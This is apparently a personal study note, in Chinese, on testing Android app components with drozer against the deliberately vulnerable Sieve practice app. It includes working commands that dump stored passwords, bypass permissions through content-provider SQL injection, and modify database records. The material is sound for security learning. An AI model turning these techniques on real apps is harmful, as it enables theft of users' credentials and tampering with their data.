android有四大组件:Activity、Service、Content Provider、Broadcast Receiver
四大组件在配置文件AndroidManifest.xml中进行注册,通过反编译工具如apktool来读取配置文件信息。Activity、Service和Broadcast Receiver三大组件没有配置intent-filter的exported属性默认为false,配置了intent-filter的exported属性默认为true。
Content Provider不同于其他三个组件,不受intent-filter的影响,对于android:minSdkVersion 或 android:targetSdkVersion小于17时exported默认为true,对于这两个属性值为17及以上时,默认值则为false,需要显示声明exported为true,通过借助drozer对app的四大组件进行测试,大致步骤如下:
1、下载drozer直接安装即可:https://www.mwrinfosecurity.com/products/drozer/
2、将agent.apk安装到手机里,adb install agent.apk,打开app,开启Embedded Server
3、下载sieve用于练习使用drozer
https://www.mwrinfosecurity.com/system/assets/380/original/sieve.apk
4、drozer启动方式①②③
①普通模式,需要开启USB调试,通过数据线连接kali和手机
adb forward tcp:31415 tcp:31415 //将pc端31415的所有数据转发到手机上的31415端口
drozer console connect //使用drozer console 连接agent
②使用wifi的正向连接方式,不需要开启USB调试:
drozer console connect --server 手机IP:port
③infrastructure mode(反向连接),适合网络环境比较复杂和多个android设备的情况下,不需要知道手机的IP,不需要开启USB调试。
开启kali虚拟机使用NAT模式,打开虚拟网络编辑器建立端口转发,在手机上安装agent,在agent上点击New Endpoint,host为宿主机的IP,端口默认31415
输入 drozer server start
打开终端,查看设备:drozer console devices (Device ID可以在agent上修改)
连接某一个设备 : drozer console connect mi2
注:如果server与console不同一电脑,连接某一设备:
drozer console connect DeviceID --server ServerIP:port
5、获取手机上所有安装的app包名:run app.package.list 加上”-f [app关键字]”查找某个app,如 run app.package.list -f sieve
得到sieve的包名为com.mwr.example.sieve
6、获取sieve的基本信息 run app.package.info -a com.mwr.example.sieve
可以看到sieve的版本信息,数据存储目录,用户ID,组ID,共享库,权限等信息
7、查找攻击面,主要关注Android 固有的IPC通信机制的脆弱性,这些特点导致了这个App泄漏敏感信息给同一台设备上的其它App
run app.package.attacksurface com.mwr.example.sieve
8、进一步获取每个组件的攻击面信息,如activity
run app.activity.info -a com.mwr.example.sieve
其中. MainLoginActivity是app启动时的主界面,必须可以导出,但其他两个activity正常情况下是不能导出的
9、用drozer来启动可导出且不需要权限的activity
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
更多关于app.activity.start的使用方法:help app.activity.start
除了绕过权限启动其他activity外还有本地拒绝服务、界面劫持、UXSS等,可参考Android Activtity Security
10、获取content provider的信息
run app.provider.info -a com.mwr.example.sieve
结合第7步收集的信息,这2个content provider都可导出,com.mwr.example.sieve.DBContentProvider/Keys 是需要读写权限的。
11、使用drozer的scanner模块去猜测可能存在的URIs
run scanner.provider.finduris -a com.mwr.example.sieve
12、通过URI从content中获取信息
run app.provider.query --vertical content://com.mwr.example.sieve.DBContentProvider/Passwords/
13、查找可进行sql注入的URIs(client-side-SQLi)
来自 Android app端的sql注入
①、使用如下命令检测可注入的URI的注入点
run scanner.provider.injection -a com.mwr.example.sieve
可以看出Projection参数和Selection参数均存在注入
②、使用projection参数传递sql注入语句到content provider中
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
通过sql注入列出当前数据库DBContentProvider中的所有表名和字段名
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from sqlite_master where type='table';--" --vertical
虽然访问Keys这个URI需要READ_KEYS和WRITE_KEYS权限,但我们可以绕过权限来读取Key表的内容(不算真正的sql注入,DBcontentProvevider这个数据库本来就导出)
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from Key;--"
③、使用selection 参数传递sql注入语句到content provider中
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
通过sql注入update数据库的内容,原来service的值为qwert
run app.provider.update content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "_id=1" --string service qazwsx
②、使用WebContentResolver和sqlmap进行跨库注入
安装WebContentResolver用于将content provider映射到web,首先建立转发adb forward tcp:8080 tcp:8080,在浏览器里打开http://localhost:8080,构造URL
对于content://providers/Parameter1/Parameter2/../ ParameterN Column:字段,如_id ,data:为字段数据 对应
http://localhost:8080/query?a=providers&path0=Parameter1&path1=Parameter2&pathn=parameterN&selName=column&selId=data
然后将此url用sqlmap进行注入。
参考Android app端的sql注入,安卓app的sql注入跨库查询问题,Android App Injection&&Drozer Use
14、Content Provider的文件目录遍历
文件遍历 http://jaq.alibaba.com/blog.htm?spm=0.0.0.0.ataWfQ&id=61
案例http://wooyun.org/bugs/wooyun-2014-075293
==============================================================================
广播接收器的安全
service
补充完整这几部分后,所有关注里聚安全的博客不错(基础又详细),博客里的drozer,google搜索drozer,drozerPDF3篇,360播报教程里的4大组件,收藏资料里的四大组件漏洞
===================================